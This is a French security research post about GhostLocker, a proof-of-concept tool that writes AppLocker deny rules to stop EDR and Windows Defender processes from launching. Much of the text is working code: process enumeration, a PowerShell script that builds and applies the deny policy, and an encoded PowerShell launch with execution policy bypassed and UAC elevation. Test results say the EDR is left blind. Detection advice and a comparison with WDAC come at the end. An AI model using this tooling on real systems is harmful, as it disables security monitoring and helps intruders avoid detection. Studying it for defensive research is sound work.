
Neutralisation d'EDR basée sur AppLocker
Après mon article sur Fairy-Law, où j'utilisais des mitigations noyau pour désactiver les solutions Endpoint Detection & Response (EDR), diversenok a fait remarquer que les exclusions IFEO (Image File Execution Options) étaient trop invasives pour les applications tierces. Cela a conduit à une meilleure approche : exploiter le pouvoir inhérent que les administrateurs possèdent déjà via AppLocker.
Le concept a été inspiré par diversenok, qui a souligné que les administrateurs peuvent légitimement contrôler n'importe quel logiciel sur leurs systèmes. À partir de cette idée, j'ai développé une technique utilisant AppLocker comme mécanisme de contrôle natif de Windows. Cette recherche explore la mise en œuvre technique d'AppLocker pour le contrôle des EDR, la compare à WDAC et présente un outil de preuve de concept pratique.
AppLocker a été introduit avec Windows 7 et amélioré dans Windows 8.1, 10 (Entreprise) et Windows Server 2012/R2/2016+. C'est un framework de liste blanche d'applications qui permet aux administrateurs de définir précisément quels exécutables, scripts ou installateurs peuvent s'exécuter pour des utilisateurs ou des groupes spécifiques.
AppIDSvc (Application Identity Service)
LocalServiceAppID.sys (Pilote noyau)
SeSrpAccessCheckClarification :
Bien queAppID.syseffectue l'évaluation des règles en mode noyau, l'application des règles DLL n'est pas autonome.
Le pilote noyau ne surveille pas activement les chargements de DLL par lui-même. Au lieu de cela, les composants en mode utilisateur doivent explicitement interroger le pilote via IOCTL pour déterminer si un chargement de DLL est autorisé.
Par conséquent, les règles DLL d'AppLocker agissent en réalité comme un mécanisme de protection côté client.
AppLocker prend en charge deux catégories principales de règles :
Règles d'autorisation (Allow) : autorisent explicitement l'exécution des applications définies
Règles de refus (Deny) : bloquent explicitement l'exécution des applications définies
C:\Program Files\Security\*.exeHKLM\Software\Policies\Microsoft\Windows\SrpV2 (stockage de la stratégie XML, persistant)
HKLM\SYSTEM\CurrentControlSet\Control\Srp\Gp\Exe (format binaire SDDL, application active)
HKLM\SYSTEM\CurrentControlSet\Control\AppID\CertStore (cache de certificats)
Par défaut, AppLocker n'applique pas les règles aux services ou aux processus SYSTEM.
Il n'existe aucune option d'interface graphique pour activer ce comportement.
L'application des règles pour les services ne peut être activée que via la stratégie XML en utilisant RuleCollectionExtensions.
La section de stratégie suivante est requise pour appliquer les règles AppLocker aux services :
<RuleCollectionExtensions>
<ThresholdExtensions>
<Services EnforcementMode="Enabled"/>
</ThresholdExtensions>
<RedstoneExtensions>
<SystemApps Allow="Enabled"/>
</RedstoneExtensions>
</RuleCollectionExtensions>
Comme l'indiquent les noms des extensions, ces options ne sont prises en charge que sur Windows 10+ et ne sont pas disponibles sur les versions antérieures. Voir Microsoft - Extensions de collection de règles AppLocker
AppID.sys évalue les attributs de l'applicationSTATUS_ACCESS_DISABLED_BY_POLICY_OTHER⚠️ AppLocker ne termine PAS les processus en cours d'exécution.
L'application d'AppLocker ne concerne que les nouveaux événements de création de processus. Les processus EDR déjà en cours d'exécution continuent de s'exécuter jusqu'au redémarrage du système. C'est une contrainte architecturale fondamentale.
Réserve sur la télémétrie des pilotes noyau :
Même après avoir bloqué les exécutables EDR en espace utilisateur, les pilotes noyau (*.sys) restent actifs et opérationnels. Ces pilotes continuent :
Cependant, des tests approfondis révèlent que cette télémétrie devient fonctionnellement inefficace. Sans moteurs d'analyse en espace utilisateur, systèmes de corrélation et mécanismes de rapport, les données de télémétrie brutes ne peuvent pas être transformées en détections exploitables. Les solutions EDR s'appuient fortement sur les composants en espace utilisateur pour :
GhostLocker est une implémentation en C++ qui automatise le déploiement de stratégies AppLocker pour bloquer les exécutables EDR.
GhostLocker propose deux variantes d'implémentation :
main.cpp – Version à énumération dynamiqueCette version énumère les processus en cours d'exécution et résout leurs chemins d'image complets en utilisant les API natives (NtQuerySystemInformation).
Les chemins absolus résolus sont ensuite utilisés pour générer des règles de refus AppLocker précises.
L'outil utilise CreateToolhelp32Snapshot avec TH32CS_SNAPPROCESS pour énumérer tous les processus en cours d'exécution. Il compare les noms de processus à une liste cible prédéfinie en utilisant une correspondance insensible à la casse (_wcsicmp).
Pourquoi cette approche ?
FindTargetsAndQueryPaths)const wchar_t* targetNames[] = {
L"MpDefenderCoreService.exe",
L"MsMpEng.exe",
L"WinDefend.exe",
L"EDR_Component_Name.exe",
};
SYSTEM_PROCESS_ID_INFORMATION spi = { 0 };
spi.ProcessId = PID;
spi.ImageName.MaximumLength = 1024;
spi.ImageName.Buffer = (PWSTR)allocBuffer;
status = NtQuerySystemInformation(
SystemProcessIdInformation,
&spi,
sizeof(spi),
0
);
Détails techniques :
SystemProcessIdInformation (0x58)\Device\HarddiskVolume3\Windows\System32\...Logique de conversion du chemin :
std::wstring ForceHarddiskVolumeToC(const std::wstring& ntPath)
{
const std::wstring prefix = L"\\Device\\HarddiskVolume3\\";
if (ntPath.rfind(prefix, 0) == 0)
{
std::wstring rest = ntPath.substr(prefix.length());
return L"C:\\" + rest;
}
return ntPath;
}
Limitation : Hypothèse codée en dur de HarddiskVolume3. Devrait être améliorée pour résoudre dynamiquement les numéros de volume.
L'outil intègre un script PowerShell complet qui :
a) Valide les chemins cibles
foreach ($exe in $ExeToBlock) {
if (!(Test-Path $exe)) {
Write-Host '[!] ERROR: File does not exist:' $exe -ForegroundColor Red
exit 1
}
}
b) Génère des règles de refus dynamiques
foreach ($exe in $ExeToBlock) {
$id = [guid]::NewGuid().ToString()
$name = Split-Path $exe -Leaf
$dynamicBlockRules += '<FilePathRule Id="' + $id + '" Name="Block ' + $name +
'" Description="Blocked by policy" UserOrGroupSid="S-1-1-0" Action="Deny">'
$dynamicBlockRules += '<Conditions><FilePathCondition Path="' + $exe + '" /></Conditions>'
$dynamicBlockRules += '</FilePathRule>'
}
Éléments clés de la stratégie :
UserOrGroupSid="S-1-1-0" : s'applique à Tout le monde (tous les utilisateurs)Action="Deny" : règle de blocage expliciteEnforcementMode="Enabled" : application active pour les règles EXEc) Application de la stratégie
Set-AppLockerPolicy -XmlPolicy $tempPath -ErrorAction Stop
gpupdate /force | Out-Null
void RunPowerShellInMemory()
{
std::wstring script = BuildFullPowerShellScript();
const BYTE* bytes = reinterpret_cast<const BYTE*>(script.c_str());
size_t byteLen = script.size() * sizeof(wchar_t);
std::wstring encoded = Base64Encode(bytes, byteLen);
std::wstring params = L"-NoProfile -ExecutionPolicy Bypass -EncodedCommand ";
params += encoded;
ShellExecuteW(NULL, L"runas", L"powershell.exe", params.c_str(), NULL, SW_SHOW);
}
Raisonnement technique :
-EncodedCommand de PowerShell attend de l'UTF-16LE-ExecutionPolicy Bypass : ignore la stratégie d'exécution des scriptsrunas : déclenche l'élévation UAC pour les droits administratifsmain_improved.cpp – Version statique basée sur des jokersAprès les clarifications de diversenok, il est apparu que les règles de chemin AppLocker prennent en charge la correspondance par jokers et ne nécessitent pas les chemins d'exécutables complets.
Cette version améliorée supprime toute l'énumération des processus et la logique de résolution de chemins native et s'appuie plutôt sur des règles statiques à jokers telles que : *\MsMpEng.exe
⚠️ Prérequis pour un déploiement réussi :
sc start AppIDSvcDes tests contrôlés approfondis ont été menés contre plusieurs solutions EDR commerciales pour évaluer l'efficacité.
Environnement de test :
Échec de l'analyse comportementale :
Perspective de la console de gestion :
Malgré le fait que les pilotes noyau continuent de s'exécuter et de collecter des flux de télémétrie, l'absence de composants de traitement en espace utilisateur a rendu les données collectées inefficaces.
Ce qui continue de fonctionner :
Aperçu critique :
L'architecture EDR moderne repose sur un couplage étroit entre les pilotes noyau et les moteurs d'analyse en espace utilisateur.
Briser ce couplage rend efficacement l'EDR aveugle malgré la poursuite de la collecte de télémétrie.
Capture d'écran (Énumération et application de la stratégie AppLocker) :

Capture d'écran (WinDefend désactivé) :
Capture d'écran de la version 2

Windows Defender Application Control (WDAC) a été introduit dans Windows 10 et représente le framework moderne de contrôle d'applications de Microsoft.
Il applique des stratégies à la fois sur les binaires en mode utilisateur et en mode noyau.
Caractéristiques principales :
Stockage de la stratégie WDAC :
C:\Windows\System32\CodeIntegrity\SIPolicy.p7b (Stratégie active, signée)
C:\Windows\System32\CodeIntegrity\CIPolicies\ (Stratégies multiples)
Partition système EFI (application UEFI)
Krueger a démontré l'abus de WDAC pour le blocage des pilotes EDR :
Différence clé :
Quand utiliser AppLocker (GhostLocker) :
Quand utiliser WDAC (style Krueger) :
Windows fournit l'API Get-AppLockerFileInformation, qui permet de tester si un exécutable spécifique serait bloqué sous la stratégie AppLocker actuelle.
Un EDR peut utiliser ce mécanisme pour vérifier de manière proactive si ses propres binaires ou services seraient refusés après un changement de stratégie.
Si un composant central passe d'autorisé à refusé, cela doit être traité comme une condition de falsification à haute confiance.
Les mises à jour de stratégie AppLocker sont communiquées à AppID.sys via des appels IOCTL explicites depuis le mode utilisateur.
Cela fournit un signal clair indiquant que l'état d'application a changé.
Les pilotes noyau peuvent observer ces notifications et les corréler avec les échecs d'exécution ultérieurs des services protégés, permettant une détection précise de la neutralisation basée sur une stratégie.
Les stratégies AppLocker sont conservées après les redémarrages dans des emplacements de registre bien définis.
Les solutions EDR peuvent prendre un instantané de l'état de la stratégie avant le redémarrage et vérifier la cohérence de l'application après le démarrage du système.
Une inadéquation entre l'état d'exécution attendu et l'application après redémarrage indique fortement une manipulation intentionnelle de la stratégie.
Windows inclut des mécanismes natifs pour exclure des processus de l'application SRP/AppLocker.
Les produits de sécurité sont censés s'intégrer à ces mécanismes pour garantir la continuité opérationnelle.
Ne pas tenir compte de ces exclusions n'est pas une limitation d'AppLocker, mais plutôt un oubli architectural dans le produit protégé.
Aucune de ces stratégies de détection ne nécessite de contourner AppLocker ou de violer les limites de sécurité de Windows.
Elles s'appuient uniquement sur un comportement documenté et des interfaces déjà fournies par le système d'exploitation.
GhostLocker démontre qu'AppLocker, une fonctionnalité de sécurité légitime de Windows, peut être transformé en arme pour neutraliser les solutions EDR via le blocage de processus en espace utilisateur.
Cette recherche met en évidence des vulnérabilités architecturales fondamentales dans les conceptions EDR actuelles qui couplent étroitement la collecte de télémétrie noyau avec les moteurs d'analyse en espace utilisateur.
Cette recherche est fournie à des fins éducatives et de sécurité défensive uniquement.
Les techniques décrites ne doivent être utilisées que dans des environnements de test autorisés avec une permission explicite.
Si vous êtes intéressé par une contribution à GhostLocker, en particulier pour l'implémentation en C#, vous êtes les bienvenus.
| Fonctionnalité | AppLocker | WDAC |
|---|
| Portée de l'application | Exécutables en mode utilisateur uniquement | Mode utilisateur + pilotes en mode noyau |
| Moment de l'application | Création de processus | Démarrage + runtime |
| Granularité utilisateur | Règles par utilisateur/groupe | À l'échelle du système |
| Mode par défaut | Autorisation par défaut | Refus par défaut |
| Types de règles | Chemin, Hachage, Éditeur | Hachage, Éditeur, WHQLFile, Version |
| Bloque les pilotes | ❌ Non | ✅ Oui |
| Complexité de la stratégie | Modérée | Élevée |
| Mode audit | ✅ Oui | ✅ Oui |